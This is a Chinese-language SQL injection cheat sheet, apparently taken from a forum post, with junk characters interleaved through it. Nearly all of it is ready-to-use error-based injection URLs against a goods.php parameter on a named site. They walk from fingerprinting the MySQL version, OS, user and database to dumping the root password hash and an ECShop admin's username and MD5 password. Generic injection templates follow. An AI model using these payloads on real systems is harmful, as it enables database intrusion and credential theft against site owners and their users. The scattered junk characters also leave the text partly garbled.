判断版本号
: N( x9 e, Y: P% ~+ shttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
) ~( o& k* d" `8 P
% Z! Q( O0 Z& B- U) P) {判断系统
- q! w, O% I* X/ d! j% L+ r) @+ k
( m4 _! H9 V) x2 A% D3 l! Xhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23 ?5 e" B, c1 a* X2 g( m
! S. X7 {! P2 t: ?# n; [/ f9 X0 x8 r
6 |) }* S2 U$ t7 E4 H
当前 user()5 c. m1 {9 } _
" d; G$ n! A X% k
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. v! y0 j# ~3 B0 M" F
: ]0 s7 U7 N0 F, G* T0 h4 {0 S
9 J7 H [8 s0 R) F
" r ]' M' C2 ?) z8 I1 |$ h
当前 database()
" }% K4 Y( s chttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
. S& p1 e9 a- E/ S: I
0 v+ p* J0 N) ~& D, t6 N _
0 x w T3 Y; p( `( B9 ~
2 t9 q; ~1 q1 D9 H2 V1 F+ b3 s, n9 [# \( ^* S7 s
root hash
' s1 y/ c: J/ h+ T( G/ Q1 Y3 W7 H" z* O' t1 c( R
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%231 o; I. a' C3 q: o! N
' k% R4 T( v/ Q
9 V, F) a% x F1 y. N' o- a# F8 x# z9 Z: ~
当前 数据库表名
% T# T% K5 M/ v
3 G2 j1 A, j7 ?2 Chttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& U' h' B. {% \* |, t; K! B
2 h0 Z3 z9 |% Q, U* N/ ~8 w% F/ X- h7 P8 u
& H, }& U. a2 u- ^5 g当前 数据库 user_name 字段0 Z$ D( u- B: A: P' ]8 Y
5 M3 j! }; ^1 G& B, u& E& i
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& w( W; `+ U: D' `9 E3 N# I* v1 B- ^0 N! y* S9 a: l5 b
当前 数据库 字段 password
3 t3 o* g4 o# [. Dhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
, ^) _& ^* p6 S+ c1 V2 Z0 \
: z- Y% T% K3 D7 x! I
Q: K) B* |) o' O6 [! K3 O+ A4 y
. G/ R+ z1 D" C- U9 F' z获得 admin passwd(md5)
; B* X0 `6 e0 |7 _: j
, B. ^* L3 p# @) Q) | ]' [" v* @) I$ @* T& N8 @# N
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" v- C ~6 ?8 n( {; t& a2 X7 Q
/ `- U u& i2 w; e7 L
报错注射# r0 I, N4 i; W+ O6 f. k+ Z9 ^
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
) X2 s) {& r/ W8 b# M% ?5 b& \9 {4 f: j
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)+ i( x0 @. l% Z8 g" v* k4 X9 e& q" N0 \
% j( j% {+ H% ^
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |